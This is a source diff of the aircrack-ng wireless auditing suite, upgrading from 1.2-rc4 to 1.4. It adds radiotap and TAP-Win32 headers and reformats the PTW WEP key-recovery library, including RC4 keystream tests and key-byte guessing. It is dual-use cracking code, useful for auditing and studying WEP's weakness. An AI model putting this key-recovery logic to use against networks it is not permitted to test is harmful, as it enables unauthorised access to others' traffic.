+	IEEE80211_RADIOTAP_TIMESTAMP_UNIT_US = 0x0001,
+	IEEE80211_RADIOTAP_TIMESTAMP_UNIT_NS = 0x0003,
+	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_MASK = 0x00F0,
+	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_BEGIN_MDPU = 0x0000,
+	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_PLCP_SIG_ACQ = 0x0010,
+	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_EO_PPDU = 0x0020,
+	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_EO_MPDU = 0x0030,
+	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_UNKNOWN = 0x00F0,
+};
+
+enum ieee80211_radiotap_timestamp_flags {
+	IEEE80211_RADIOTAP_TIMESTAMP_FLAG_64BIT = 0x00,
+	IEEE80211_RADIOTAP_TIMESTAMP_FLAG_32BIT = 0x01,
+	IEEE80211_RADIOTAP_TIMESTAMP_FLAG_ACCURACY = 0x02,
+};
+
+#endif /* __RADIOTAP_H */

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/radiotap_iter.h Added

@@ -0,0 +1,108 @@
+#ifndef __RADIOTAP_ITER_H
+#define __RADIOTAP_ITER_H
+
+#include <stdint.h>
+#include "radiotap.h"
+
+#if defined(_MSC_VER)
+//  Microsoft
+#define EXPORT __declspec(dllexport)
+#define IMPORT __declspec(dllimport)
+#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__) || defined(__INTEL_COMPILER)
+#define EXPORT __attribute__((visibility("default")))
+#define IMPORT
+#else
+//  do nothing and hope for the best?
+#define EXPORT
+#define IMPORT
+#pragma warning Unknown dynamic link import/export semantics.
+#endif
+
+/* Radiotap header iteration
+ *   implemented in radiotap.c
+ */
+
+struct radiotap_override {
+	uint8_t field;
+	uint8_t align:4, size:4;
+};
+
+struct radiotap_align_size {
+	uint8_t align:4, size:4;
+};
+
+struct ieee80211_radiotap_namespace {
+	const struct radiotap_align_size *align_size;
+	int n_bits;
+	uint32_t oui;
+	uint8_t subns;
+};
+
+struct ieee80211_radiotap_vendor_namespaces {
+	const struct ieee80211_radiotap_namespace *ns;
+	int n_ns;
+};
+
+/**
+ * struct ieee80211_radiotap_iterator - tracks walk thru present radiotap args
+ * @this_arg_index: index of current arg, valid after each successful call
+ *	to ieee80211_radiotap_iterator_next()
+ * @this_arg: pointer to current radiotap arg; it is valid after each
+ *	call to ieee80211_radiotap_iterator_next() but also after
+ *	ieee80211_radiotap_iterator_init() where it will point to
+ *	the beginning of the actual data portion
+ * @this_arg_size: length of the current arg, for convenience
+ * @current_namespace: pointer to the current namespace definition
+ *	(or internally %NULL if the current namespace is unknown)
+ * @is_radiotap_ns: indicates whether the current namespace is the default
+ *	radiotap namespace or not
+ *
+ * @overrides: override standard radiotap fields
+ * @n_overrides: number of overrides
+ *
+ * @_rtheader: pointer to the radiotap header we are walking through
+ * @_max_length: length of radiotap header in cpu byte ordering
+ * @_arg_index: next argument index
+ * @_arg: next argument pointer
+ * @_next_bitmap: internal pointer to next present u32
+ * @_bitmap_shifter: internal shifter for curr u32 bitmap, b0 set == arg present
+ * @_vns: vendor namespace definitions
+ * @_next_ns_data: beginning of the next namespace's data
+ * @_reset_on_ext: internal; reset the arg index to 0 when going to the
+ *	next bitmap word
+ *
+ * Describes the radiotap parser state. Fields prefixed with an underscore
+ * must not be used by users of the parser, only by the parser internally.
+ */
+
+struct ieee80211_radiotap_iterator {
+	struct ieee80211_radiotap_header *_rtheader;
+	const struct ieee80211_radiotap_vendor_namespaces *_vns;
+	const struct ieee80211_radiotap_namespace *current_namespace;
+
+	unsigned char *_arg, *_next_ns_data;
+	uint32_t *_next_bitmap;
+
+	unsigned char *this_arg;
+	const struct radiotap_override *overrides;	/* Only for RADIOTAP_SUPPORT_OVERRIDES */
+	int n_overrides;				/* Only for RADIOTAP_SUPPORT_OVERRIDES */
+	int this_arg_index;
+	int this_arg_size;
+
+	int is_radiotap_ns;
+
+	int _max_length;
+	int _arg_index;
+	uint32_t _bitmap_shifter;
+	int _reset_on_ext;
+};
+
+IMPORT int ieee80211_radiotap_iterator_init(
+	struct ieee80211_radiotap_iterator *iterator,
+	struct ieee80211_radiotap_header *radiotap_header,
+	int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns);
+
+IMPORT int ieee80211_radiotap_iterator_next(
+	struct ieee80211_radiotap_iterator *iterator);
+
+#endif /* __RADIOTAP_ITER_H */

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/tap-win32 Added

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/tap-win32/common.h Added

@@ -0,0 +1,86 @@
+/*
+ *  TAP-Win32 -- A kernel driver to provide virtual tap device functionality
+ *               on Windows.  Originally derived from the CIPE-Win32
+ *               project by Damion K. Wilson, with extensive modifications by
+ *               James Yonan.
+ *
+ *  All source code which derives from the CIPE-Win32 project is
+ *  Copyright (C) Damion K. Wilson, 2003, and is released under the
+ *  GPL version 2 (see below).
+ *
+ *  All other source code is Copyright (C) 2002-2005 OpenVPN Solutions LLC,
+ *  and is released under the GPL version 2 (see below).
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License version 2
+ *  as published by the Free Software Foundation.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program (see the file COPYING included with this
+ *  distribution); if not, write to the Free Software Foundation, Inc.,
+ *  51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ */
+
+//===============================================
+// This file is included both by OpenVPN and
+// the TAP-Win32 driver and contains definitions
+// common to both.
+//===============================================
+
+//=============
+// TAP IOCTLs
+//=============
+
+#define TAP_CONTROL_CODE(request, method)                                      \
+	CTL_CODE(FILE_DEVICE_UNKNOWN, request, method, FILE_ANY_ACCESS)
+
+// Present in 8.1
+
+#define TAP_IOCTL_GET_MAC TAP_CONTROL_CODE(1, METHOD_BUFFERED)
+#define TAP_IOCTL_GET_VERSION TAP_CONTROL_CODE(2, METHOD_BUFFERED)
+#define TAP_IOCTL_GET_MTU TAP_CONTROL_CODE(3, METHOD_BUFFERED)
+#define TAP_IOCTL_GET_INFO TAP_CONTROL_CODE(4, METHOD_BUFFERED)
+#define TAP_IOCTL_CONFIG_POINT_TO_POINT TAP_CONTROL_CODE(5, METHOD_BUFFERED)
+#define TAP_IOCTL_SET_MEDIA_STATUS TAP_CONTROL_CODE(6, METHOD_BUFFERED)
+#define TAP_IOCTL_CONFIG_DHCP_MASQ TAP_CONTROL_CODE(7, METHOD_BUFFERED)
+#define TAP_IOCTL_GET_LOG_LINE TAP_CONTROL_CODE(8, METHOD_BUFFERED)
+#define TAP_IOCTL_CONFIG_DHCP_SET_OPT TAP_CONTROL_CODE(9, METHOD_BUFFERED)
+
+// Added in 8.2
+
+/* obsoletes TAP_IOCTL_CONFIG_POINT_TO_POINT */
+#define TAP_IOCTL_CONFIG_TUN TAP_CONTROL_CODE(10, METHOD_BUFFERED)
+
+//=================
+// Registry keys
+//=================
+
+#define ADAPTER_KEY                                                            \
+	"SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-"     \
+	"08002BE10318}"
+
+#define NETWORK_CONNECTIONS_KEY                                                \
+	"SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-"   \
+	"08002BE10318}"
+
+//======================
+// Filesystem prefixes
+//======================
+
+#define USERMODEDEVICEDIR "\\\\.\\Global\\"
+#define SYSDEVICEDIR "\\Device\\"
+#define USERDEVICEDIR "\\DosDevices\\Global\\"
+#define TAPSUFFIX ".tap"
+
+//=========================================================
+// TAP_COMPONENT_ID -- This string defines the TAP driver
+// type -- different component IDs can reside in the system
+// simultaneously.
+//=========================================================
+
+#define TAP_COMPONENT_ID "tap0801"

aircrack-ng-1.2-rc4.tar.gz/src/aircrack-ptw-lib.c -> aircrack-ng-1.4.tar.gz/src/aircrack-ptw-lib.c Changed

@@ -1,5 +1,6 @@
 /*
- *  Copyright (c) 2007-2009 Erik Tews, Andrei Pychkine and Ralf-Philipp Weinmann.
+ *  Copyright (c) 2007-2009 Erik Tews, Andrei Pychkine and Ralf-Philipp
+ * Weinmann.
  *                2013 Ramiro Polla
  *
  *  This program is free software; you can redistribute it and/or modify
@@ -14,7 +15,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -35,6 +36,9 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <pthread.h>
+#ifdef HAVE_SYS_TYPES_H
+#include <sys/types.h>
+#endif
 #if defined(__sun__)
 #include <alloca.h>
 #endif
@@ -48,114 +52,122 @@
 #define IVBYTES PTW_IVBYTES
 #define TESTBYTES 6
 
+static struct options opt;
 
 // Internal state of rc4
-typedef struct {
+typedef struct
+{
 	uint32_t s[n];
 	uint8_t i;
 	uint8_t j;
 } rc4state;
 
-
 // Helper structures for sorting
-typedef struct {
+typedef struct
+{
 	int keybyte;
 	uint8_t value;
 	int distance;
 } sorthelper;
 
-typedef struct {
+typedef struct
+{
 	int keybyte;
 	double difference;
 } doublesorthelper;
 
 // The rc4 initial state, the idendity permutation
-static const uint32_t rc4initial[] =
-{0,1,2,3,4,5,6,7,8,9,10,
-11,12,13,14,15,16,17,18,19,20,
-21,22,23,24,25,26,27,28,29,30,
-31,32,33,34,35,36,37,38,39,40,
-41,42,43,44,45,46,47,48,49,50,
-51,52,53,54,55,56,57,58,59,60,
-61,62,63,64,65,66,67,68,69,70,
-71,72,73,74,75,76,77,78,79,80,
-81,82,83,84,85,86,87,88,89,90,
-91,92,93,94,95,96,97,98,99,100,
-101,102,103,104,105,106,107,108,109,110,
-111,112,113,114,115,116,117,118,119,120,
-121,122,123,124,125,126,127,128,129,130,
-131,132,133,134,135,136,137,138,139,140,
-141,142,143,144,145,146,147,148,149,150,
-151,152,153,154,155,156,157,158,159,160,
-161,162,163,164,165,166,167,168,169,170,
-171,172,173,174,175,176,177,178,179,180,
-181,182,183,184,185,186,187,188,189,190,
-191,192,193,194,195,196,197,198,199,200,
-201,202,203,204,205,206,207,208,209,210,
-211,212,213,214,215,216,217,218,219,220,
-221,222,223,224,225,226,227,228,229,230,
-231,232,233,234,235,236,237,238,239,240,
-241,242,243,244,245,246,247,248,249,250,
-251,252,253,254,255};
-
+static const uint32_t rc4initial[] = {
+	0,   1,   2,   3,   4,   5,   6,   7,   8,   9,   10,  11,  12,  13,  14,
+	15,  16,  17,  18,  19,  20,  21,  22,  23,  24,  25,  26,  27,  28,  29,
+	30,  31,  32,  33,  34,  35,  36,  37,  38,  39,  40,  41,  42,  43,  44,
+	45,  46,  47,  48,  49,  50,  51,  52,  53,  54,  55,  56,  57,  58,  59,
+	60,  61,  62,  63,  64,  65,  66,  67,  68,  69,  70,  71,  72,  73,  74,
+	75,  76,  77,  78,  79,  80,  81,  82,  83,  84,  85,  86,  87,  88,  89,
+	90,  91,  92,  93,  94,  95,  96,  97,  98,  99,  100, 101, 102, 103, 104,
+	105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119,
+	120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134,
+	135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149,
+	150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164,
+	165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179,
+	180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194,
+	195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209,
+	210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224,
+	225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239,
+	240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254,
+	255};
 
 // Values for p_correct_i
-static const double eval[] = {
-0.00534392069257663,
-0.00531787585068872,
-0.00531345769225911,
-0.00528812219217898,
-0.00525997750378221,
-0.00522647312237696,
-0.00519132541143668,
-0.0051477139367225,
-0.00510438884847959,
-0.00505484662057323,
-0.00500502783556246,
-0.00495094196451801,
-0.0048983441590402};
+static const double eval[] = {0.00534392069257663,
+							  0.00531787585068872,
+							  0.00531345769225911,
+							  0.00528812219217898,
+							  0.00525997750378221,
+							  0.00522647312237696,
+							  0.00519132541143668,
+							  0.0051477139367225,
+							  0.00510438884847959,
+							  0.00505484662057323,
+							  0.00500502783556246,
+							  0.00495094196451801,
+							  0.0048983441590402};
 
 int tried, max_tries;
 int depth[KEYHSBYTES];
 PTW_tableentry keytable[KEYHSBYTES][n];
 
 // Check if optmizied RC4 for AMD64 has to be compiled
-#if defined(__amd64) && defined(__SSE2__) && !defined(__clang__)
-	#define USE_AMD64_RC4_OPTIMIZED
+#if defined(__amd64) && defined(__SSE2__)                                      \
+	&& (!defined(__clang__)                                                    \
+		|| (defined(__clang__)                                                 \
+			&& (__clang_major__ >= 4                                           \
+				|| (__clang_major__ == 3 && __clang_minor__ >= 9))))
+#define USE_AMD64_RC4_OPTIMIZED
 #endif
 
 // For sorting
-static int compare(const void * ina, const void * inb) {
-	PTW_tableentry * a = (PTW_tableentry * )ina;
-	PTW_tableentry * b = (PTW_tableentry * )inb;
+static int compare(const void * ina, const void * inb)
+{
+	PTW_tableentry * a = (PTW_tableentry *) ina;
+	PTW_tableentry * b = (PTW_tableentry *) inb;
 	return b->votes - a->votes;
 }
 
 // For sorting
-static int comparedoublesorthelper(const void * ina, const void * inb) {
-	doublesorthelper * a = (doublesorthelper * )ina;
-	doublesorthelper * b = (doublesorthelper * )inb;
-	if (a->difference > b->difference) {
+static int comparedoublesorthelper(const void * ina, const void * inb)
+{
+	doublesorthelper * a = (doublesorthelper *) ina;
+	doublesorthelper * b = (doublesorthelper *) inb;
+	if (a->difference > b->difference)
+	{
 		return 1;
-	} else if (a->difference == b->difference) {
+	}
+	else if (a->difference == b->difference)
+	{
 		return 0;
-	} else {
+	}
+	else
+	{
 		return -1;
 	}
 }
 
-
 #ifdef USE_AMD64_RC4_OPTIMIZED
-static const uint32_t __attribute__((used)) __attribute__((aligned (16))) x0123 [4] = { 0, 1, 2, 3 };
-static const uint32_t __attribute__((used)) __attribute__((aligned (16))) x4444 [4] = { 4, 4, 4, 4 };
-static int rc4test_amd64_sse2(uint8_t *key, int keylen, uint8_t *iv, uint8_t *keystream)
+static const uint32_t __attribute__((used)) __attribute__((aligned(16)))
+x0123[4]
+	= {0, 1, 2, 3};
+static const uint32_t __attribute__((used)) __attribute__((aligned(16)))
+x4444[4]
+	= {4, 4, 4, 4};
+static int
+rc4test_amd64_sse2(uint8_t * key, int keylen, uint8_t * iv, uint8_t * keystream)
 {
 	int idx, i, j;
 	int scratch1, scratch2;
 
 	__asm__ volatile(
-#define state      "%%rsp"
-#define keybuf     "0x400(%%rsp)"
+#define state "%%rsp"
+#define keybuf "0x400(%%rsp)"
 #define keystream_ "0x428(%%rsp)"
 		// setup stack
 		"movq  %%rsp, %q0             \n\t"
@@ -164,25 +176,25 @@
 		"movq    %q0, -8(%%rsp)       \n\t"
 
 		// save keystream variable
-		"movq %q6, "keystream_"       \n\t"
+		"movq %q6, " keystream_ "       \n\t"
 
 		// keylen += IVBYTES
 		"addl    $3, %k4              \n\t"
 
 		// memcpy(keybuf, iv, IVBYTES);
 		"movl  (%q5), %k1             \n\t"
-		"movl   %k1 , "keybuf"        \n\t"
+		"movl   %k1 , " keybuf "        \n\t"
 		// memcpy(&keybuf[IVBYTES], key, keylen);
 		"movdqa   (%q3), %%xmm0       \n\t"
 		"cmpl    $16, %k4             \n\t"
-		"movdqu %%xmm0, 3+"keybuf"    \n\t"
+		"movdqu %%xmm0, 3+" keybuf "    \n\t"
 		"jng     .Lsmall_key1         \n\t"
 		"movdqa 16(%q3), %%xmm1       \n\t"
-		"movdqu %%xmm1,19+"keybuf"    \n\t"
+		"movdqu %%xmm1,19+" keybuf "    \n\t"
 		".Lsmall_key1:                \n\t"
 
 		// key = keybuf
-		"lea  "keybuf", %q3           \n\t"
+		"lea  " keybuf ", %q3           \n\t"
 		// load xmm registers
 		"movdqa %q9,  %%xmm0          \n\t"
 		"movdqa %q10, %%xmm1          \n\t"
@@ -194,13 +206,13 @@
 		// build identity array
 		".p2align 4                   \n\t"
 		".Lidentity_loop:             \n\t"
-		"movdqa %%xmm0, ("state",%q1,4)\n\t"
+		"movdqa %%xmm0, (" state ",%q1,4)\n\t"
 		"addb   $4, %b1               \n\t"
 		"paddd  %%xmm1, %%xmm0        \n\t"
 		"jnc  .Lidentity_loop         \n\t"
 
 		// load state into register
-		"movq "state", %q1            \n\t"
+		"movq " state ", %q1            \n\t"
 
 		// %q4 = and mask for idx
 		"movq %q4, %q8                \n\t"
@@ -213,61 +225,65 @@
 		// init array with key
 		".p2align 4                   \n\t"
 		".init_loop:                  \n\t"
-		"movl    %k0, %k8             \n\t" /* scratch2        = idx             */
-		"movl   (%q1), %k5            \n\t" /* s1              = state[i]        */
-		"leal  1(%q0,1), %k0          \n\t" /* idx++                             */
-		"movzbl (%q3,%q8,1), %k6      \n\t" /* key_n           = key[scratch2]   */
-		"leal   (%q5,%q6,1), %k8      \n\t" /* scratch2        = s1 + key_n      */
-		"addl    %k8, %k2             \n\t" /* j              += scratch2        */
-		"andl    %k4, %k0             \n\t" /* idx            &= mask            */
-		"movzbl  %b2, %k8             \n\t" /* scratch2        = j               */
-		"movl ("state",%q8,4), %k7    \n\t" /* s2              = state[scratch2] */
-		"movl    %k7, (%q1)           \n\t" /* state[i]        = s2              */
-		"addq     $4, %q1             \n\t" /* i++                               */
-		"movl    %k5, ("state",%q8,4) \n\t" /* state[scratch2] = s1              */
-		"cmpq    %q1, %q3             \n\t" /* state          == &state[0x100]   */
+		"movl    %k0, %k8             \n\t" /* scratch2        = idx */
+		"movl   (%q1), %k5            \n\t" /* s1              = state[i] */
+		"leal  1(%q0,1), %k0          \n\t" /* idx++ */
+		"movzbl (%q3,%q8,1), %k6      \n\t" /* key_n           = key[scratch2]
+											   */
+		"leal   (%q5,%q6,1), %k8      \n\t" /* scratch2        = s1 + key_n */
+		"addl    %k8, %k2             \n\t" /* j              += scratch2 */
+		"andl    %k4, %k0             \n\t" /* idx            &= mask */
+		"movzbl  %b2, %k8             \n\t" /* scratch2        = j */
+		"movl (" state
+		",%q8,4), %k7    \n\t" /* s2              = state[scratch2] */
+		"movl    %k7, (%q1)           \n\t" /* state[i]        = s2 */
+		"addq     $4, %q1             \n\t" /* i++ */
+		"movl    %k5, (" state ",%q8,4) \n\t" /* state[scratch2] = s1 */
+		"cmpq    %q1, %q3             \n\t" /* state          == &state[0x100]
+												 */
 		"jne .init_loop               \n\t"
 
 		// restore keystream variable
-		"movq "keystream_", %q6       \n\t"
+		"movq " keystream_ ", %q6       \n\t"
 
 		// clear some registers
 		"xorq  %q2, %q2               \n\t" // j = 0
 		"xorq  %q0, %q0               \n\t" // result
 
-#define RC4TEST_LOOP(offset) \
-		"movl 4*"offset"("state"), %k5\n\t" /* s1 = state[i]         */ \
-		"leal (%q5,%q2,1), %k4        \n\t" /*                       */ \
-		"movzbl %b4, %k2              \n\t" /* j += s1               */ \
-		"movl ("state",%q2,4), %k1    \n\t" /* s2 = state[j]         */ \
-		"movl %k1, 4*"offset"("state")\n\t" /* state[i] = s2         */ \
-		"movl %k5, ("state",%q2,4)    \n\t" /* state[j] = s1         */ \
-		"addb %b1, %b5                \n\t" /* s1 += s2;             */ \
-		"movb ("state",%q5,4), %b3    \n\t" /* ret = state[s1]       */ \
-		"cmpb %b3, "offset"-1(%q6)    \n\t" /* ret == keystream[i-1] */ \
-		"jne .ret                     \n\t"
-
-		RC4TEST_LOOP("1")
-		RC4TEST_LOOP("2")
-		RC4TEST_LOOP("3")
-		RC4TEST_LOOP("4")
-		RC4TEST_LOOP("5")
-		RC4TEST_LOOP("6")
+#define RC4TEST_LOOP(offset)                                                   \
+	"movl 4*" offset "(" state "), %k5\n\t" /* s1 = state[i]         */        \
+	"leal (%q5,%q2,1), %k4        \n\t" /*                       */            \
+	"movzbl %b4, %k2              \n\t" /* j += s1               */            \
+	"movl (" state ",%q2,4), %k1    \n\t" /* s2 = state[j]         */          \
+	"movl %k1, 4*" offset "(" state ")\n\t" /* state[i] = s2         */        \
+	"movl %k5, (" state ",%q2,4)    \n\t" /* state[j] = s1         */          \
+	"addb %b1, %b5                \n\t" /* s1 += s2;             */            \
+	"movb (" state ",%q5,4), %b3    \n\t" /* ret = state[s1]       */          \
+	"cmpb %b3, " offset "-1(%q6)    \n\t" /* ret == keystream[i-1] */          \
+	"jne .ret                     \n\t"
+
+		RC4TEST_LOOP("1") RC4TEST_LOOP("2") RC4TEST_LOOP("3") RC4TEST_LOOP("4")
+			RC4TEST_LOOP("5") RC4TEST_LOOP("6")
 
 #undef RC4TEST_LOOP
 
-		"addb $1, %b0                 \n\t"
-		".ret:                        \n\t"
-
-		// restore stack
-		"movq -8(%%rsp), %%rsp        \n\t"
-
-	: "=&r"(idx), "=&r"(i), "=&r"(j),
-	  "+r"(key), "+r"(keylen), "+r"(iv), "+r"(keystream),
-	  "=&r"(scratch1), "=&r"(scratch2)
-	: "m"(x0123[0]), "m"(x4444[0])
-	: "xmm0", "xmm1"
-	);
+				"addb $1, %b0                 \n\t"
+				".ret:                        \n\t"
+
+				// restore stack
+				"movq -8(%%rsp), %%rsp        \n\t"
+
+		: "=&r"(idx),
+		  "=&r"(i),
+		  "=&r"(j),
+		  "+r"(key),
+		  "+r"(keylen),
+		  "+r"(iv),
+		  "+r"(keystream),
+		  "=&r"(scratch1),
+		  "=&r"(scratch2)
+		: "m"(x0123[0]), "m"(x4444[0])
+		: "xmm0", "xmm1");
 #undef state
 #undef keybuf
 #undef keystream_
@@ -277,22 +293,23 @@
 #endif
 
 // RC4 key setup
-static void rc4init ( uint8_t * key, int keylen, rc4state * state) {
+static void rc4init(uint8_t * key, int keylen, rc4state * state)
+{
 	int i;
 	unsigned char j;
 	uint8_t tmp;
 	int idx = 0;
 	memcpy(state->s, &rc4initial, sizeof(rc4initial));
 	j = 0;
-	for (i = 0; i < n; i++) {
+	for (i = 0; i < n; i++)
+	{
 		/*  this should be:
-		    j = (j + state->s[i] + key[i % keylen]) % n;
-		    but as "j" is declared as unsigned char and n equals 256,
-		    we can "optimize" it
+			j = (j + state->s[i] + key[i % keylen]) % n;
+			but as "j" is declared as unsigned char and n equals 256,
+			we can "optimize" it
 		*/
 		j = (j + state->s[i] + key[idx]);
-		if (++idx == keylen)
-			idx = 0;
+		if (++idx == keylen) idx = 0;
 		tmp = state->s[i];
 		state->s[i] = state->s[j];
 		state->s[j] = tmp;
@@ -302,7 +319,8 @@
 }
 
 // RC4 key stream generation
-static uint8_t rc4update(rc4state * state) {
+static uint8_t rc4update(rc4state * state)
+{
 	uint8_t tmp;
 	uint8_t k;
 	state->i++;
@@ -315,16 +333,18 @@
 	return state->s[k];
 }
 
-static int rc4test(uint8_t *key, int keylen, uint8_t *iv, uint8_t *keystream)
+static int rc4test(uint8_t * key, int keylen, uint8_t * iv, uint8_t * keystream)
 {
 	uint8_t keybuf[PTW_KSBYTES];
 	rc4state rc4state;
 	int j;
 	memcpy(&keybuf[IVBYTES], key, keylen);
 	memcpy(keybuf, iv, IVBYTES);
-	rc4init(keybuf, keylen+IVBYTES, &rc4state);
-	for (j = 0; j < TESTBYTES; j++) {
-		if  ((rc4update(&rc4state) ^ keystream[j]) != 0) {
+	rc4init(keybuf, keylen + IVBYTES, &rc4state);
+	for (j = 0; j < TESTBYTES; j++)
+	{
+		if ((rc4update(&rc4state) ^ keystream[j]) != 0)
+		{
 			return 0;
 		}
 	}
@@ -332,9 +352,10 @@
 }
 
 // For sorting
-static int comparesorthelper(const void * ina, const void * inb) {
-	sorthelper * a = (sorthelper * ) ina;
-	sorthelper * b = (sorthelper * ) inb;
+static int comparesorthelper(const void * ina, const void * inb)
+{
+	sorthelper * a = (sorthelper *) ina;
+	sorthelper * b = (sorthelper *) inb;
 	return a->distance - b->distance;
 }
 
@@ -346,7 +367,9 @@
  * result - buffer for the values of sigma_i
  * kb - how many keybytes should be guessed
  */
-static void guesskeybytes(int ivlen, uint8_t * iv, uint8_t * keystream, uint8_t * result, int kb) {
+static void guesskeybytes(
+	int ivlen, uint8_t * iv, uint8_t * keystream, uint8_t * result, int kb)
+{
 	uint32_t state[n];
 	uint8_t j = 0;
 	uint8_t tmp;
@@ -355,20 +378,23 @@
 	uint8_t ii;
 	uint8_t s = 0;
 	memcpy(state, &rc4initial, sizeof(rc4initial));
-	for (i = 0; i < ivlen; i++) {
+	for (i = 0; i < ivlen; i++)
+	{
 		j += state[i] + iv[i];
 		tmp = state[i];
 		state[i] = state[j];
 		state[j] = tmp;
 	}
-	for (i = 0; i < kb; i++) {
-		tmp = jj - keystream[jj-1];
+	for (i = 0; i < kb; i++)
+	{
+		tmp = jj - keystream[jj - 1];
 		ii = 0;
-		while(tmp != state[ii]) {
+		while (tmp != state[ii])
+		{
 			ii++;
 		}
 		s += state[jj];
-		ii -= (j+s);
+		ii -= (j + s);
 		result[i] = ii;
 		jj++;
 	}
@@ -378,20 +404,26 @@
 /*
  * Is a guessed key correct?
  */
-static int correct(PTW_attackstate * state, uint8_t * key, int keylen) {
+static int correct(PTW_attackstate * state, uint8_t * key, int keylen)
+{
 	int i;
 	int k;
 
 	// We need at least 3 sessions to be somehow certain
-	if (state->sessions_collected < 3) {
+	if (state->sessions_collected < 3)
+	{
 		return 0;
 	}
 
 	tried++;
 
-	k = rand()%(state->sessions_collected-10);
-	for ( i=k; i < k+10; i++) {
-		if (!state->rc4test(key, keylen, state->sessions[i].iv, state->sessions[i].keystream))
+	k = rand() % (state->sessions_collected - 10);
+	for (i = k; i < k + 10; i++)
+	{
+		if (!state->rc4test(key,
+							keylen,
+							state->sessions[i].iv,
+							state->sessions[i].keystream))
 			return 0;
 	}
 	return 1;
@@ -400,8 +432,12 @@
 /*
  * Calculate the squaresum of the errors for both distributions
  */
-static void getdrv(PTW_tableentry orgtable[][n], int keylen, double * normal, double * ausreiser) {
-	int i,j;
+static void getdrv(PTW_tableentry orgtable[][n],
+				   int keylen,
+				   double * normal,
+				   double * ausreiser)
+{
+	int i, j;
 	int numvotes = 0;
 	double e;
 	double e2;
@@ -409,33 +445,41 @@
 	double help = 0.0;
 	double maxhelp = 0;
 	double maxi = 0;
-	for (i = 0; i < n; i++) {
+	for (i = 0; i < n; i++)
+	{
 		numvotes += orgtable[0][i].votes;
 	}
-	e = numvotes/n;
-	for (i = 0; i < keylen; i++) {
+	e = numvotes / n;
+	for (i = 0; i < keylen; i++)
+	{
 		emax = eval[i] * numvotes;
-		e2 = ((1.0 - eval[i])/255.0) * numvotes;
+		e2 = ((1.0 - eval[i]) / 255.0) * numvotes;
 		normal[i] = 0;
 		ausreiser[i] = 0;
 		maxhelp = 0;
 		maxi = 0;
-		for (j = 0; j < n; j++) {
-			if (orgtable[i][j].votes > maxhelp) {
+		for (j = 0; j < n; j++)
+		{
+			if (orgtable[i][j].votes > maxhelp)
+			{
 				maxhelp = orgtable[i][j].votes;
 				maxi = j;
 			}
 		}
-		for (j = 0; j < n; j++) {
-			if (j == maxi) {
-				help = (1.0-orgtable[i][j].votes/emax);
-			} else {
-				help = (1.0-orgtable[i][j].votes/e2);
+		for (j = 0; j < n; j++)
+		{
+			if (j == maxi)
+			{
+				help = (1.0 - orgtable[i][j].votes / emax);
 			}
-			help = help*help;
+			else
+			{
+				help = (1.0 - orgtable[i][j].votes / e2);
+			}
+			help = help * help;
 			ausreiser[i] += help;
-			help = (1.0-orgtable[i][j].votes/e);
-			help = help*help;
+			help = (1.0 - orgtable[i][j].votes / e);
+			help = help * help;
 			normal[i] += help;
 		}
 	}
@@ -444,51 +488,125 @@
 /*
  * Guess a single keybyte
  */
-static int doRound(PTW_tableentry sortedtable[][n], int keybyte, int fixat, uint8_t fixvalue, int * searchborders, uint8_t * key, int keylen, PTW_attackstate * state, uint8_t sum, int * strongbytes, int * bf, int validchars[][n]) {
+static int doRound(PTW_tableentry sortedtable[][n],
+				   int keybyte,
+				   int fixat,
+				   uint8_t fixvalue,
+				   int * searchborders,
+				   uint8_t * key,
+				   int keylen,
+				   PTW_attackstate * state,
+				   uint8_t sum,
+				   int * strongbytes,
+				   int * bf,
+				   int validchars[][n])
+{
 	int i;
 	uint8_t tmp;
 
-	if(!opt.is_quiet && keybyte < 4)
-		show_wep_stats( keylen -1, 0, keytable, searchborders, depth, tried );
-	if (keybyte > 0) {
-		if (!validchars[keybyte-1][key[keybyte-1]]) {
+	if (!opt.is_quiet && keybyte < 4)
+		show_wep_stats(keylen - 1, 0, keytable, searchborders, depth, tried);
+	if (keybyte > 0)
+	{
+		if (!validchars[keybyte - 1][key[keybyte - 1]])
+		{
 			return 0;
 		}
 	}
-	if (keybyte == keylen) {
+	if (keybyte == keylen)
+	{
 		return correct(state, key, keylen);
-	} else if (bf[keybyte] == 1) {
-		for (i = 0; i < n; i++) {
+	}
+	else if (bf[keybyte] == 1)
+	{
